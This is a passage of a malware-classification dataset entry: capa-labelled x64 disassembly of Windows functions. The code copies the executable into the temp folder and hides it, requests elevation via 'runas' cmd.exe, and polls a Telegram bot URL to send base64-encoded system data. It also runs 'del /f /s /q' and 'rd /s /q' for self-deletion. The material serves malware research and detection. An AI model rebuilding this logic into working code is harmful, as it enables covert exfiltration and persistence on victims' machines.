joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a2a
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xd8], eax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401ab0
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error_create_process_print._n
call sub.msvcrt.dll_fwrite
mov eax, 0
jmp 0x401b2d
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401b14
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401afd
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xd8], eax
je 0x401afd
mov dword [rbp + 0xdc], 1
jmp 0x401b14
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401ac7
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x401b36
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401b95
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Error:_cant_get_file._n
call sub.msvcrt.dll_fwrite
jmp 0x401d80
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x401bdb
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Error:_cant_get_file_path._n
call sub.msvcrt.dll_fwrite
jmp 0x401d80
lea rax, [rbp - 0x40]
lea rdx, [0x004071a3]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAppendA]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xd0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x401c40
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x17
mov edx, 1
lea rcx, str.Error:_cant_copy_file._n
call sub.msvcrt.dll_fwrite
jmp 0x401d80
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.File_good_copied_in:__s_n
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
je 0x401d57
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
je 0x401d1a
or dword [rbp + 0x1d4], 2
mov edx, dword [rbp + 0x1d4]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
test eax, eax
je 0x401cf0
lea rcx, str.File_hidden_successfully.
call sub.msvcrt.dll_puts
jmp 0x401d42
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error:_failed_to_hide_file._n
call sub.msvcrt.dll_fwrite
jmp 0x401d42
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x26
mov edx, 1
lea rcx, str.Error:_failed_to_get_file_attributes._n
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401d80
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.Error:_failed_to_open_file_for_setting_attributes._n
call sub.msvcrt.dll_fwrite
nop
add rsp, 0x260
pop rbp
ret
Function at 0x401d89
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x340], rcx
lea rdx, [rbp + 0x2a0]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x2a0], 0x70
mov dword [rbp + 0x2a4], 0x40
lea rax, str.runas
mov qword [rbp + 0x2b0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x2b8], rax
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0x340]
lea r8, str._c__s
mov edx, 0x2f8
mov rcx, rax
mov rax, qword [0x00406080]
call rax
test eax, eax
jns 0x401e20
lea rcx, str.Error:_Cannot_format_command_line.
call sub.msvcrt.dll_puts
jmp 0x401ebf
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2d0], 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x401e93
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x31c], eax
cmp dword [rbp + 0x31c], 0x4c7
jne 0x401e75
lea rcx, str.Error:_The_user_refused_to_allow_privileges_elevation.
call sub.msvcrt.dll_puts
jmp 0x401ebf
mov eax, dword [rbp + 0x31c]
mov r8d, eax
mov rdx, qword [rbp + 0x340]
lea rcx, str.Error:_Failed_to_execute_command__s_with_elevated_privileges._Error_code:__ld_n
call sub.msvcrt.dll_printf
jmp 0x401ebf
mov rax, qword [rbp + 0x308]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x3a8
pop rdi
pop rbp
ret
Function at 0x401ec9
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x646c697542
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x4020df
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, [0x0040736d]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
je 0x401f9d
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Unknown_OS
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
mov dword [rbp + 0x3c], pe_nt_image_headers64
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.CurrentBuildNumber
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x401ff0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.CurrentBuildNumber:__s_n
call sub.msvcrt.dll_printf
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov dword [rbp + 0x4c], eax
lea rdx, str.Windows_10
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strstr
test rax, rax
je 0x402049
cmp dword [rbp + 0x4c], 0x55ef
jg 0x402049
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_10
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
jmp 0x4020f8
cmp dword [rbp + 0x4c], 0x55ef
jle 0x40206e
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_11
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
jmp 0x4020f8
lea rdx, str.Windows_8.1
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x402098
lea rdx, str.Windows_8
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strstr
test rax, rax
je 0x4020b1
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_8
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
jmp 0x4020f8
lea rdx, str.Windows_7
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strstr
test rax, rax
je 0x4020f8
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_7
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
jmp 0x4020f8
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Access_Denied
mov rcx, qword [rbp + 0x70]
call sub.msvcrt.dll_strncpy
jmp 0x4020f8
nop
add rsp, 0xd8
pop rdi
pop rbp
ret
Function at 0x402444
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov edx, eax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x402487
mov eax, 0
jmp 0x4024ec
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4024a6
mov eax, 0
jmp 0x4024ec
mov rax, qword [rbp + 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x40000001
mov edx, ecx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x4024e8
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x4024ec
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x4024f2
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x40251b
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
je 0x40251b
cmp qword [rbp + 0x18], 0
jne 0x402525
mov eax, 0
jmp 0x4025ec
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x40256c
mov eax, 0
jmp 0x4025ec
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40258b
mov eax, 0
jmp 0x4025ec
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x4025dc
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x4025ec
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret
Function at 0x4034ce
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
call fcn.004037b0
mov dword [rbp + 0x3bc], 0x80000001
mov eax, dword [rbp + 0x3bc]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call rax
test eax, eax
jne 0x403510
lea rcx, str.ERROR_ENERGY_STATUS.
call sub.msvcrt.dll_puts
jmp 0x40351c
lea rcx, str.GOOD_ENERGY_STATUS.
call sub.msvcrt.dll_puts
lea rdx, str.Russian_Russia.1251
mov ecx, 0
call sub.msvcrt.dll_setlocale
test rax, rax
jne 0x403564
mov ecx, 2
mov rax, qword [fcn.00404d30]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.___1251__n
call sub.msvcrt.dll_fwrite
mov eax, 1
jmp 0x403690
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call rax
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call rax
call fcn.00401619
test eax, eax
jne 0x40359a
lea rcx, str.Need_admin_privileges._Restarting_program...
call sub.msvcrt.dll_puts
call fcn.004016d3
call fcn.00401b36
lea rcx, [0x004071a3]
call fcn.00401a2a
test eax, eax
je 0x4035cc
lea rdx, [0x004071a3]
lea rcx, str.__s__.__._n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x403690
lea rcx, str.https:__t.me_zadjcnshbfvvnjskkdqewfrefbrobot
call fcn.00402c42
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
je 0x403671
mov rax, qword [rbp + 0x3b0]
mov rdx, rax
lea rcx, str.Domain:__ls_n
call sub.msvcrt.dll_wprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00402103
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00402444
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
je 0x403660
mov rdx, qword [rbp + 0x3b0]
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call fcn.0040269d
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x40367d
lea rcx, str.Failed_to_get_response._n
call sub.msvcrt.dll_wprintf
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40359f
add rsp, 0x440
pop rbp
ret
Function at 0x403c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040b624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x403dd4
mov rax, qword [0x0040b628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x403c6c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x403cf9
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x403c50
mov rcx, rbx
call fcn.004048f0
test rax, rax
mov r12, rax
je 0x403e09
mov rax, qword [0x0040b628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00404a20
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040b628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x403dec
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x403cf2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x403d74
add dword [0x0040b624], 1
cmp edi, 8
jae 0x403d30
test dil, 4
jne 0x403dc0
test edi, edi
je 0x403d1c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x403ddb
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x403d1c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x403d60
jmp 0x403d1c
add rsi, qword [0x0040b628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x403cf2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00405040
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x403d1c
xor esi, esi
jmp 0x403c77
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x403d1c
mov rax, qword [0x0040b628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call fcn.00405040
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00405040
nop
nop dword [rax]
Function at 0x404560
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040b900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040b8e0]
test rbx, rbx
je 0x4045b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4045ab
test rsi, rsi
je 0x4045ab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x404590
lea rcx, [0x0040b900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x4048f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00408070]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x40495d
mov rcx, r8
call fcn.004047d0
test eax, eax
je 0x40495d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40495d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x404954
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40495f
add rax, 0x28
cmp rax, r9
jne 0x404940
xor eax, eax
add rsp, 0x28
ret

Function at 0x405040
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00404d30
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00404d30
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x1400098e0
Capabilities:
Execute command
Self delete

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400fbec0]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rcx
mov rbp, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 0xe
jb 0x140009b0d
cmp qword [rsi + 0x18], 0xf
jbe 0x14000992c
mov rsi, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r14, [rbp + 0xe]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x20]
cmp r14, rbx
jbe 0x1400099ca
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000998c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c3880
test rax, rax
je 0x140009a88
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400099c5
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400099a5
xor edi, edi
jmp 0x1400099c5
cmp rcx, 0x1000
jb 0x1400099bd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009b13
jmp 0x14000996d
call fcn.1400c3880
mov rdi, rax
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
movsd xmm0, qword [str.del__f__s__q__]
movsd qword [rdi], xmm0
mov ecx, dword [0x1400e73c8]
mov dword [rdi + 8], ecx
movzx eax, word [0x1400e73cc]
mov word [rdi + 0xc], ax
lea rcx, [rdi + 0xe]
mov r8, rbp
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 7
lea rdx, str.__2_nul
lea rcx, [rsp + 0x20]
call fcn.14000e1a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140009a94
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3bcc
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140009aeb
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ae6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ae6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3bcc
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400c3860
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140001b40
int3
call fcn.140001aa0
int3
Function at 0x140009b20
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400fbec0]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rcx
mov rbp, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 0xa
jb 0x140009d44
cmp qword [rsi + 0x18], 0xf
jbe 0x140009b6c
mov rsi, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r14, [rbp + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x20]
cmp r14, rbx
jbe 0x140009c0a
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140009bcc
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c3880
test rax, rax
je 0x140009cbf
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140009c05
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140009be5
xor edi, edi
jmp 0x140009c05
cmp rcx, 0x1000
jb 0x140009bfd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009d4a
jmp 0x140009bad
call fcn.1400c3880
mov rdi, rax
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
movsd xmm0, qword [str.rd__s__q__]
movsd qword [rdi], xmm0
movzx ecx, word [0x1400e73d8]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
mov r8, rbp
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 7
lea rdx, str.__2_nul
lea rcx, [rsp + 0x20]
call fcn.14000e1a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140009ccb
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009cc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3bcc
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140009d22
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
